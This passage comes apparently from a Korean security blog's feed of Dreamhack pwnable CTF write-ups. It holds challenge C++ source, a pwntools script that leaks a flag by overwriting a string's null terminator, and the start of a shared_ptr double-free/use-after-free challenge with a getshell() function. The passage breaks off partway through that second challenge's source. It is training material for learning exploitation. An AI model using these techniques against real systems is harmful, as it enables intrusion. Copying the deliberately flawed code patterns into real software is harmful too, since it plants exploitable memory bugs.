</span></span><span class="line"><span class="cl">		<span class="n">of</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">writebuffer</span><span class="p">.</span><span class="n">c_str</span><span class="p">(),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">readbuffer</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">                <span class="n">of</span><span class="p">.</span><span class="n">close</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">		<span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;Write complete!&#34;</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl">	<span class="k">else</span><span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;Open error!&#34;</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">		<span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">read_flag</span><span class="p">(){</span>
</span></span><span class="line"><span class="cl">        <span class="n">std</span><span class="o">::</span><span class="n">ifstream</span> <span class="n">is</span> <span class="p">(</span><span class="s">&#34;flag&#34;</span><span class="p">,</span> <span class="n">std</span><span class="o">::</span><span class="n">ifstream</span><span class="o">::</span><span class="n">binary</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="n">is</span><span class="p">.</span><span class="n">is_open</span><span class="p">()){</span>
</span></span><span class="line"><span class="cl">                <span class="n">is</span><span class="p">.</span><span class="n">read</span><span class="p">(</span><span class="n">flag</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">readbuffer</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">                <span class="n">is</span><span class="p">.</span><span class="n">close</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">                <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="k">else</span><span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;You must need flagfile..&#34;</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                <span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">show_contents</span><span class="p">(){</span>
</span></span><span class="line"><span class="cl">	<span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;contents : &#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="n">readbuffer</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">	
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">initialize</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">selector</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">while</span><span class="p">(</span><span class="mi">1</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">    	<span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;Simple file system&#34;</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    	<span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;1. read file&#34;</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    	<span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;2. write file&#34;</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;3. show contents&#34;</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    	<span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;4. quit&#34;</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    	<span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;[*] input : &#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="n">std</span><span class="o">::</span><span class="n">cin</span> <span class="o">&gt;&gt;</span> <span class="n">selector</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	
</span></span><span class="line"><span class="cl">	<span class="k">switch</span><span class="p">(</span><span class="n">selector</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">		<span class="k">case</span> <span class="mi">1</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">			<span class="n">read_flag</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">			<span class="n">read_file</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">			<span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">		<span class="k">case</span> <span class="mi">2</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">			<span class="n">write_file</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">			<span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">		<span class="k">case</span> <span class="mi">3</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">			<span class="n">show_contents</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">			<span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">		<span class="k">case</span> <span class="mi">4</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">			<span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;BYEBYE&#34;</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">			<span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>뭔가 기능이 많아보인다. main 함수부터 분석해보면 어떤 행동을 할지 selector 값을 입력 받는다.</p>
<p>1번 매뉴를 통해서 read_flag()함수가 동작하여 디렉터리에 있는 flag 파일을 버퍼 크기만큼 읽어 64 크기의 버퍼에 쓴다. 이후 read_file()함수를 통해 동일 디렉터리에 있는 file 파일을 버퍼 크기만큼 읽어 64 크기의 버퍼에 쓴다.</p>
<p>2번 매뉴를 통해서 file 파일에 버퍼 크기만큼의 값을 쓴다.</p>
<p>3번 매뉴를 통해 읽어온 file을 출력한다.</p>
<p>여기서 readbuffer와 flag 변수의 주소는 서로 연속적으로 배치되어 있다. readbuffer 다음에 바로 flag 변수의 주소이다.</p>
<p>따라서 readbuffer를 최대로 채워줘 문자열의 끝을 알리는 null 바이트를 다른 값으로 덮어 뜨면 flag 변수의 내용을 leak 할수 있다.</p>
<p>공격 코드는 다음과 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="cl"><span class="n">context</span><span class="o">.</span><span class="n">update</span><span class="p">(</span><span class="n">arch</span><span class="o">=</span><span class="s1">&#39;amd64&#39;</span><span class="p">,</span> <span class="n">os</span><span class="o">=</span><span class="s1">&#39;linux&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1">#context.log_level = &#39;debug&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s2">&#34;host3.dreamhack.games&#34;</span><span class="p">,</span> <span class="mi">9645</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1">#p = process(&#34;./iofile_vtable_check&#34;, env={&#39;LD_PRELOAD&#39;:&#39;./libc.so.6&#39;})</span>
</span></span><span class="line"><span class="cl"><span class="c1">#p = process(&#34;./cpp_string&#34;)</span>
</span></span><span class="line"><span class="cl"><span class="n">elf</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s2">&#34;./cpp_string&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1">#libc = ELF(&#34;./libc.so.6&#34;)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;[*] input : &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;2&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Enter file contents : &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;a&#34;</span><span class="o">*</span><span class="mi">64</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;[*] input : &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;1&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;[*] input : &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;3&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">p</span><span class="o">.</span><span class="n">recv</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</span></span></code></pre></div>]]></content:encoded></item><item><title>[Dreamhack] PWN cpp_smart_pointer_1</title><link>https://dig06161.github.io/2023/04/04/dreamhack-cpp_smart_pointer_1/</link><pubDate>Tue, 04 Apr 2023 18:00:00 +0900</pubDate><guid>https://dig06161.github.io/2023/04/04/dreamhack-cpp_smart_pointer_1/</guid><description>드림핵 포너블 cpp_smart_pointer_1 문제풀이</description><content:encoded><![CDATA[<p>이번 문제는 cpp의 스마트 포인터에 대한 내용이다. 삽질을 좀 오래 했는데 삽질 한 것에 비해 좀 쉽게 풀린 문제다.</p>
<p>std::unique_ptr이나 std::shared_ptr과 같은 자료형으로 정의된 스마트 포인터들은 직접 메모리를 동적으로 할당하고 해제하는 일 없이 메모리 관리를 자동으로 해 메모리 릭 등의 취약점이 발생하지 않게 한다. 생각보다 많은 스마트 포인터가 존재하는데 그건 여기서 다루진 않겠다.</p>
<p>cpp에서 객체를 복사할때 shallow copy와 deep copy가 있다. 직역하면 얕은 복사와 깊은 복사이다.</p>
<p>std::make_shared&lt;int&gt;() 메서드를 이용하면 객체의 값을 새로운 메모리에 할당해 복사한다. 이것을 deep copy라고 한다.</p>
<p>단순히 값을 = 연산자를 통해 주입하는 경우 새로운 메모리를 할당하는 것이 아닌 대상 객체에 포인터를 복사하게 되어 shallow copy가 발생한다. 이때 원본 객체와 복사된 객체 둘중 하나라도 free가 동작하게 되면 다른 객체가 가리키고 있는 포인터 또한 동시에 해제되어 uaf 버그가 발생한다. 여기서 다른 객체 또한 free를 하면 double free 버그가 발생한다.</p>
<p>문제의 소스코드를 살펴보자.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c++" data-lang="c++"><span class="line"><span class="cl"><span class="c1">// g++ -o pwn-smart-poiner-1 pwn-smart-pointer-1.cpp -no-pie -std=c++11
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;iostream&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;memory&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;csignal&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;cstdio&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;cstring&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;cstdio&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;cstdlib&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="kt">char</span><span class="o">*</span> <span class="n">guest_book</span> <span class="o">=</span> <span class="s">&#34;guestbook</span><span class="se">\x00</span><span class="s">&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">alarm_handler</span><span class="p">(</span><span class="kt">int</span> <span class="n">trash</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;TIME OUT&#34;</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">initialize</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">setvbuf</span><span class="p">(</span><span class="n">stdin</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">setvbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">signal</span><span class="p">(</span><span class="n">SIGALRM</span><span class="p">,</span> <span class="n">alarm_handler</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">alarm</span><span class="p">(</span><span class="mi">30</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">print_menu</span><span class="p">(){</span>
</span></span><span class="line"><span class="cl">    <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;smart pointer system!&#34;</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;1. change smart pointer&#34;</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;2. delete smart pointer&#34;</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;3. test smart pointer&#34;</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;4. write guest book&#34;</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;5. view guest book&#34;</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;6. exit system&#34;</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;[*] select : &#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">write_guestbook</span><span class="p">(){</span>
</span></span><span class="line"><span class="cl">    <span class="n">std</span><span class="o">::</span><span class="n">string</span> <span class="n">data</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;write guestbook : &#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">std</span><span class="o">::</span><span class="n">cin</span> <span class="o">&gt;&gt;</span> <span class="n">data</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">guest_book</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">malloc</span><span class="p">(</span><span class="n">data</span><span class="p">.</span><span class="n">length</span><span class="p">()</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">strcpy</span><span class="p">(</span><span class="n">guest_book</span><span class="p">,</span> <span class="n">data</span><span class="p">.</span><span class="n">c_str</span><span class="p">());</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">view_guestbook</span><span class="p">(){</span>
</span></span><span class="line"><span class="cl">    <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;guestbook data: &#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="n">guest_book</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">apple</span><span class="p">(){</span>
</span></span><span class="line"><span class="cl">    <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;Hi im apple!&#34;</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">banana</span><span class="p">(){</span>
</span></span><span class="line"><span class="cl">    <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;Hi im banana!&#34;</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">mango</span><span class="p">(){</span>
</span></span><span class="line"><span class="cl">    <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;Hi im mango!&#34;</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">getshell</span><span class="p">(){</span>
</span></span><span class="line"><span class="cl">    <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;Hi im shell!&#34;</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;what? shell?&#34;</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">system</span><span class="p">(</span><span class="s">&#34;/bin/sh&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">class</span> <span class="nc">Smart</span><span class="p">{</span>
</span></span><span class="line"><span class="cl"><span class="k">public</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">Smart</span><span class="p">(){</span>
</span></span><span class="line"><span class="cl">        <span class="n">fp</span> <span class="o">=</span> <span class="n">apple</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="n">Smart</span><span class="p">(</span><span class="k">const</span> <span class="n">Smart</span><span class="o">&amp;</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="kt">void</span> <span class="nf">change_function</span><span class="p">(</span><span class="kt">int</span> <span class="n">select</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="n">select</span> <span class="o">==</span> <span class="mi">1</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">            <span class="n">fp</span> <span class="o">=</span> <span class="n">apple</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span> <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">select</span> <span class="o">==</span> <span class="mi">2</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">            <span class="n">fp</span> <span class="o">=</span> <span class="n">banana</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span> <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">select</span> <span class="o">==</span> <span class="mi">3</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">            <span class="n">fp</span> <span class="o">=</span> <span class="n">mango</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="n">fp</span> <span class="o">=</span> <span class="n">apple</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">fp</span><span class="p">)(</span><span class="kt">void</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">change_pointer</span><span class="p">(</span><span class="n">std</span><span class="o">::</span><span class="n">shared_ptr</span><span class="o">&lt;</span><span class="n">Smart</span><span class="o">&gt;</span> <span class="n">first</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">selector</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;1. apple</span><span class="se">\n</span><span class="s">2. banana</span><span class="se">\n</span><span class="s">3. mango&#34;</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;select function for smart pointer: &#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">std</span><span class="o">::</span><span class="n">cin</span> <span class="o">&gt;&gt;</span> <span class="n">selector</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">(</span><span class="o">*</span><span class="n">first</span><span class="p">).</span><span class="n">change_function</span><span class="p">(</span><span class="n">selector</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">(){</span>
</span></span><span class="line"><span class="cl">    <span class="n">initialize</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">selector</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">Smart</span> <span class="o">*</span><span class="n">smart</span> <span class="o">=</span> <span class="k">new</span> <span class="n">Smart</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    <span class="n">std</span><span class="o">::</span><span class="n">shared_ptr</span><span class="o">&lt;</span><span class="n">Smart</span><span class="o">&gt;</span> <span class="n">src_ptr</span><span class="p">(</span><span class="n">smart</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">std</span><span class="o">::</span><span class="n">shared_ptr</span><span class="o">&lt;</span><span class="n">Smart</span><span class="o">&gt;</span> <span class="n">new_ptr</span><span class="p">(</span><span class="n">smart</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">while</span><span class="p">(</span><span class="mi">1</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">        <span class="n">print_menu</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">        <span class="n">std</span><span class="o">::</span><span class="n">cin</span> <span class="o">&gt;&gt;</span> <span class="n">selector</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">switch</span><span class="p">(</span><span class="n">selector</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">            <span class="k">case</span> <span class="mi">1</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">                <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;Select pointer(1, 2): &#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                <span class="n">std</span><span class="o">::</span><span class="n">cin</span> <span class="o">&gt;&gt;</span> <span class="n">selector</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                <span class="k">if</span><span class="p">(</span><span class="n">selector</span> <span class="o">==</span> <span class="mi">1</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">                    <span class="n">change_pointer</span><span class="p">(</span><span class="n">src_ptr</span><span class="p">);</span>
